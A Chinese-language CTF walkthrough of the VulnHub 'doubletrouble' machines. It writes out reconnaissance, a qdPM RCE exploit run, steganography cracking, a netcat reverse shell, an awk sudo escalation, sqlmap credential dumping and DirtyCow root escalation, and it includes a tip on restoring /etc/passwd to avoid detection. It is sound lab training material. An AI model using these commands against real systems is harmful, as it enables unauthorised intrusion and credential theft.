doubletrouble
一、靶机介绍
靶机地址:doubletrouble: 1 ~ VulnHub
- 主机发现
- 端口扫描
- WEB信息搜集
- 开源CMS漏洞利用
- 隐写术
- 密码爆破
- GTFObins提权
- SQL注入
- 赃牛提权
二、主机发现
arp-scan -l |
靶机ip为10.0.2.15
三、端口扫描
nmap -p- 10.0.2.15 |
发现22和80端口开放,进一步扫描了一下
四、Web信息搜集
访问80端口,发现是个登录页面
4.1、官网信息搜集
这个从源代码中可以发现,也可以在直接点击首页下面的那个qdPM9.1会自动跳转
一个是安装安装页面,一个是配置文件路径
4.2、安装页面
发现就是一个简单的安装页面,并没有什么有用的信息
4.3、配置文件
找的配置文件路径,但是由于环境解析,所有并不能直接看到代码,可以一个个下载下来尝试查看,这文件里面有个token,但是后面打靶过程中没有用到。
五、searchsploit搜寻漏洞
一番折腾并没有找的什么有用的信息,但是获取到了cms的名称,直接使用kali自带的工具尝试搜找一下这个cms是否存在漏洞
searchsploit qdpm |
发现cms真的存在rce和文件上传漏洞
把两个rce的exp复制到桌面上,以便后续利用
cp /usr/share/exploitdb/exploits/php/webapps/47954.py . |
后面那个. 代表复制到当前目录下
使用mousepad 打开脚本开一下脚本的允许条件
发现需要知道用户名和密码,以及url
六、目录扫描
dirsearch -u http://10.0.2.15 |
发现一个secret(秘密)目录
访问进去发现一张图片
七、图片隐写
steghide info doubletrouble.jpg |
info参数查看含有隐藏信息的载体
7.1、stegseek爆破密码
apt install stegseek |
–crack 参数是爆破
rockyou.txt 是字典名称 -
-xf 为爆破出密码后图片中隐藏的文件命名为123
文件类型为字符串
查看文件内容
otis666
八、脚本利用
发现能够登录成功,已经满足了刚才所有脚本的利用条件
脚本缩进有问题,更改后的脚本如下
# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated) |
脚本运行成功
成功执行命令
九、反弹shell
存在nc,直接构造语句反弹shell
kali: nc -lvvp 5555 |
十、GTFObins提权
sudo -l |
发现使用sudo权限时awk可以不用使用密码
访问网站,搜索一下awk,找到提权的语句
sudo awk 'BEGIN {system("/bin/sh")}' |
十一、第二个靶机
11.1、nc传输文件
使用nc将第二个靶机镜像传输到kali中
在这吐槽一下,virtualbox真难用,我的kali和主机之间不能直接拖拉文件
搞了半天,我被迫开了一个共享文件夹,才将镜像拖到主机中
nc 10.0.2.4 4444 < doubletrouble.ova -w 1 |
11.2、主机发现
11.3、端口扫描
发现一个登录页面
11.4、目录扫描
dirsearch -u http://10.0.2.16 |
发现了/cgi-bin目录,尝试是否有破壳漏洞,发现并没有
11.5、sqlmap梭哈
发现是个post型的,使用–forms参数,也可以将请求包保存下来使用-r参数
这个是注入类型是时间盲注,等待时间有点长
sqlmap -u http://10.0.2.16/ --forms --dbs |
查看数据库的名字
sqlmap -u http://10.0.2.16/ --forms -D doubletrouble -tables |
查看数据库表
sqlmap -u http://10.0.2.16/ --forms -D doubletrouble -T users --columns |
查看数据库的列
sqlmap -u http://10.0.2.16/ --forms -D doubletrouble -T users --dump |
发现表中存放的是账号和密码,直接使用dump参数,查看表中数据
发现两个账号和密码,但是在web页面都没有登录成功
11.6、ssh登录
端口扫描时22端口开放,使用第二个账号和密码登录成功
ssh clapton@10.0.2.16 |
11.7、赃牛提权
uname -l |
发现内核版本时3.2.0,提权脚本如下
dirtycow/dirty.c at master · firefart/dirtycow · GitHub
老样子nc传输文件,将提权代码传输到靶机上,在使用gcc编译成可执行文件
nc 10.0.2.16 5555 < exp.c -w 1 |
-pthread 是使用POSIX线程库,允许程序创建和控制多个线程
-lcrypt 是编译器链接crypt库,crypt是一个用于加密的数据库,通常用于处理密码加密和解密,在一些系统中,可能是libcrypt.so或者libcrypt.a
脚本执行后有提示信息,大概意思就是将系统的/etc/passwd文件备份到了/tmp目录下名字是passwd.bak
提醒你重新登录成功获取到root权限后不要忘记将备份还原。
备份还原的目的是将系统执行的用户输入,在真实渗透过程中可以一定程度上的避免被发现
重新链接ssh
ssh firefart@10.0.2.16 |
发现成功获取root权限,并且root目录下有两个文件
cp /tmp/passwd.bak /etc/passwd # 将passwd还原成原来的样子 |